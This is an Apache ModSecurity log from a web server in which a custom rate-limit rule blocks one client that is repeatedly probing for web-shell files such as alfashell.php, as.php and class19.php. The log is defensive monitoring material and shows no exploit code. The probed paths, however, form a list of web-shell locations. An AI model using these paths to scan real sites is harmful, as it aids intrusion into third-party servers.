[Sun Apr 12 16:48:19.226587 2026] [:error] [pid 60280:tid 60300] [client 68.221.68.72:65253] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adtcU3BlLnDOYuIykkgniAAAAdI"]
[Sun Apr 12 16:48:19.925890 2026] [:error] [pid 25437:tid 25447] [client 68.221.68.72:63438] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adtcU3f97wYZje1ep_MQEQAAAMg"]
[Sun Apr 12 16:48:20.457140 2026] [:error] [pid 26600:tid 26652] [client 68.221.68.72:63956] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adtcVO1YwAZiXhQKLYoQYAAAAZc"]
[Sun Apr 12 16:48:20.977536 2026] [:error] [pid 60280:tid 60296] [client 68.221.68.72:63987] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adtcVHBlLnDOYuIykkgnjwAAAc4"]
[Sun Apr 12 16:48:21.529168 2026] [:error] [pid 60280:tid 60294] [client 68.221.68.72:63497] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adtcVXBlLnDOYuIykkgnkAAAAcw"]
[Sun Apr 12 16:48:22.126541 2026] [:error] [pid 25329:tid 25412] [client 68.221.68.72:64785] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adtcVmdcIYsS8Iyaj12XUAAAAJU"]
[Sun Apr 12 16:48:22.770014 2026] [:error] [pid 25437:tid 25440] [client 68.221.68.72:65323] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adtcVnf97wYZje1ep_MQFwAAAME"]
[Sun Apr 12 16:48:23.330355 2026] [:error] [pid 25437:tid 25452] [client 68.221.68.72:63467] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adtcV3f97wYZje1ep_MQGgAAAM0"]
[Sun Apr 12 16:48:23.885894 2026] [:error] [pid 26567:tid 26591] [client 68.221.68.72:65295] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adtcV3hRpg6ptWFyFx2J0wAAARY"]
[Sun Apr 12 16:48:24.393435 2026] [:error] [pid 25437:tid 25447] [client 68.221.68.72:64824] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adtcWHf97wYZje1ep_MQHAAAAMg"]
[Sun Apr 12 16:48:24.954574 2026] [:error] [pid 25437:tid 25454] [client 68.221.68.72:65271] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adtcWHf97wYZje1ep_MQHgAAAM8"]
[Sun Apr 12 16:48:25.523584 2026] [:error] [pid 60280:tid 60303] [client 68.221.68.72:65305] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adtcWXBlLnDOYuIykkgnmQAAAdU"]
[Sun Apr 12 16:48:26.049311 2026] [:error] [pid 25327:tid 25346] [client 68.221.68.72:62789] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adtcWi6h2tZEVJo9JFK41AAAAAo"]
[Sun Apr 12 16:48:26.876200 2026] [:error] [pid 26600:tid 26642] [client 68.221.68.72:65227] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adtcWu1YwAZiXhQKLYoQYgAAAY0"]
[Sun Apr 12 16:48:27.461975 2026] [:error] [pid 25328:tid 25380] [client 68.221.68.72:65237] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adtcW8xUaQZxT-e0YsDjPAAAAEw"]
[Sun Apr 12 16:48:28.214692 2026] [:error] [pid 25329:tid 25415] [client 68.221.68.72:63957] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adtcXGdcIYsS8Iyaj12XWgAAAJg"]
[Sun Apr 12 16:48:28.757751 2026] [:error] [pid 25329:tid 25399] [client 68.221.68.72:63453] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adtcXGdcIYsS8Iyaj12XXgAAAI0"]
[Sun Apr 12 16:48:29.500454 2026] [:error] [pid 25437:tid 25452] [client 68.221.68.72:64724] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adtcXXf97wYZje1ep_MQJQAAAM0"]
[Sun Apr 12 16:48:30.089568 2026] [:error] [pid 25329:tid 25384] [client 68.221.68.72:61669] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adtcXmdcIYsS8Iyaj12XYwAAAIU"]
[Sun Apr 12 16:48:30.802784 2026] [:error] [pid 26600:tid 26629] [client 68.221.68.72:64767] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adtcXu1YwAZiXhQKLYoQZAAAAYA"]
[Sun Apr 12 16:48:31.360877 2026] [:error] [pid 26567:tid 26573] [client 68.221.68.72:65294] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adtcX3hRpg6ptWFyFx2J3QAAAQQ"]
[Sun Apr 12 16:48:32.007949 2026] [:error] [pid 26599:tid 26606] [client 68.221.68.72:63940] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adtcYHG89LXoQbk_rwC1KAAAAUQ"]
[Sun Apr 12 16:48:32.546523 2026] [:error] [pid 25328:tid 25366] [client 68.221.68.72:63509] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adtcYMxUaQZxT-e0YsDjQAAAAEI"]
[Sun Apr 12 16:48:33.215303 2026] [:error] [pid 60280:tid 60300] [client 68.221.68.72:65228] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adtcYXBlLnDOYuIykkgnrAAAAdI"]
[Sun Apr 12 16:48:33.725158 2026] [:error] [pid 60280:tid 60288] [client 68.221.68.72:61016] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adtcYXBlLnDOYuIykkgnsQAAAcY"]
[Sun Apr 12 16:48:34.693968 2026] [:error] [pid 25328:tid 25368] [client 68.221.68.72:63551] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adtcYsxUaQZxT-e0YsDjRgAAAEQ"]
[Sun Apr 12 16:48:35.366318 2026] [:error] [pid 25328:tid 25408] [client 68.221.68.72:61659] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adtcY8xUaQZxT-e0YsDjSQAAAFg"]
[Sun Apr 12 16:48:36.153186 2026] [:error] [pid 26599:tid 26616] [client 68.221.68.72:65229] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adtcZHG89LXoQbk_rwC1KQAAAU4"]
[Sun Apr 12 16:48:36.728920 2026] [:error] [pid 25329:tid 25413] [client 68.221.68.72:63498] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adtcZGdcIYsS8Iyaj12XawAAAJY"]
[Sun Apr 12 16:48:37.361433 2026] [:error] [pid 26600:tid 26642] [client 68.221.68.72:64032] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adtcZe1YwAZiXhQKLYoQaAAAAY0"]
[Sun Apr 12 16:48:37.977436 2026] [:error] [pid 25329:tid 25415] [client 68.221.68.72:62787] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adtcZWdcIYsS8Iyaj12XbQAAAJg"]
[Sun Apr 12 16:48:38.597864 2026] [:error] [pid 26599:tid 26602] [client 68.221.68.72:64754] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adtcZnG89LXoQbk_rwC1LgAAAUA"]
[Sun Apr 12 16:48:39.189694 2026] [:error] [pid 25329:tid 25404] [client 68.221.68.72:64709] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adtcZ2dcIYsS8Iyaj12XcQAAAJA"]
[Sun Apr 12 16:48:39.701043 2026] [:error] [pid 25329:tid 25376] [client 68.221.68.72:64014] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adtcZ2dcIYsS8Iyaj12XdAAAAIE"]
[Sun Apr 12 16:48:40.200013 2026] [:error] [pid 26567:tid 26582] [client 68.221.68.72:65308] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adtcaHhRpg6ptWFyFx2J4QAAAQ0"]
[Sun Apr 12 16:48:40.839801 2026] [:error] [pid 26599:tid 26622] [client 68.221.68.72:64800] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adtcaHG89LXoQbk_rwC1MwAAAVQ"]
[Sun Apr 12 16:48:41.610847 2026] [:error] [pid 60280:tid 60297] [client 68.221.68.72:64801] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adtcaXBlLnDOYuIykkgnzAAAAc8"]
[Sun Apr 12 16:48:42.316483 2026] [:error] [pid 60280:tid 60300] [client 68.221.68.72:63521] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adtcanBlLnDOYuIykkgnzQAAAdI"]
[Sun Apr 12 16:48:43.045038 2026] [:error] [pid 25328:tid 25375] [client 68.221.68.72:64038] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adtca8xUaQZxT-e0YsDjUwAAAEk"]
[Sun Apr 12 16:48:43.623578 2026] [:error] [pid 60280:tid 60292] [client 68.221.68.72:64042] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adtca3BlLnDOYuIykkgn0wAAAco"]
[Sun Apr 12 16:48:44.326758 2026] [:error] [pid 26599:tid 26615] [client 68.221.68.72:64736] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adtcbHG89LXoQbk_rwC1NgAAAU0"]
[Sun Apr 12 16:48:44.945687 2026] [:error] [pid 25327:tid 25340] [client 68.221.68.72:64017] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adtcbC6h2tZEVJo9JFK41QAAAAQ"]
[Sun Apr 12 16:48:45.453630 2026] [:error] [pid 26567:tid 26580] [client 68.221.68.72:63963] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adtcbXhRpg6ptWFyFx2J5wAAAQs"]
[Sun Apr 12 16:48:45.964133 2026] [:error] [pid 60280:tid 60291] [client 68.221.68.72:63424] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adtcbXBlLnDOYuIykkgn3AAAAck"]
[Sun Apr 12 16:48:46.446795 2026] [:error] [pid 26599:tid 26620] [client 68.221.68.72:65287] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adtcbnG89LXoQbk_rwC1NwAAAVI"]
[Sun Apr 12 16:48:47.095827 2026] [:error] [pid 60280:tid 60298] [client 68.221.68.72:65320] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adtcb3BlLnDOYuIykkgn4wAAAdA"]
[Sun Apr 12 16:48:47.588072 2026] [:error] [pid 60280:tid 60294] [client 68.221.68.72:63489] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adtcb3BlLnDOYuIykkgn5AAAAcw"]
[Sun Apr 12 16:48:48.091921 2026] [:error] [pid 60280:tid 60292] [client 68.221.68.72:64731] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adtccHBlLnDOYuIykkgn5gAAAco"]
[Sun Apr 12 16:48:48.611379 2026] [:error] [pid 25328:tid 25372] [client 68.221.68.72:63994] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adtccMxUaQZxT-e0YsDjYQAAAEc"]
[Sun Apr 12 16:48:49.149623 2026] [:error] [pid 60280:tid 60285] [client 68.221.68.72:63972] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adtccXBlLnDOYuIykkgn6wAAAcM"]
[Sun Apr 12 16:48:49.780402 2026] [:error] [pid 26599:tid 26603] [client 68.221.68.72:63970] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adtccXG89LXoQbk_rwC1PAAAAUE"]
[Sun Apr 12 16:48:50.383518 2026] [:error] [pid 60280:tid 60294] [client 68.221.68.72:64704] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adtccnBlLnDOYuIykkgn7QAAAcw"]
[Sun Apr 12 16:48:50.954829 2026] [:error] [pid 25328:tid 25385] [client 68.221.68.72:65266] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adtccsxUaQZxT-e0YsDjYwAAAE4"]
[Sun Apr 12 16:48:51.569440 2026] [:error] [pid 25437:tid 25456] [client 68.221.68.72:64055] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adtcc3f97wYZje1ep_MQMgAAANE"]
[Sun Apr 12 16:48:52.143471 2026] [:error] [pid 26567:tid 26584] [client 68.221.68.72:62795] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adtcdHhRpg6ptWFyFx2J8wAAAQ8"]
[Sun Apr 12 16:48:52.882858 2026] [:error] [pid 60280:tid 60288] [client 68.221.68.72:63523] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adtcdHBlLnDOYuIykkgn8gAAAcY"]
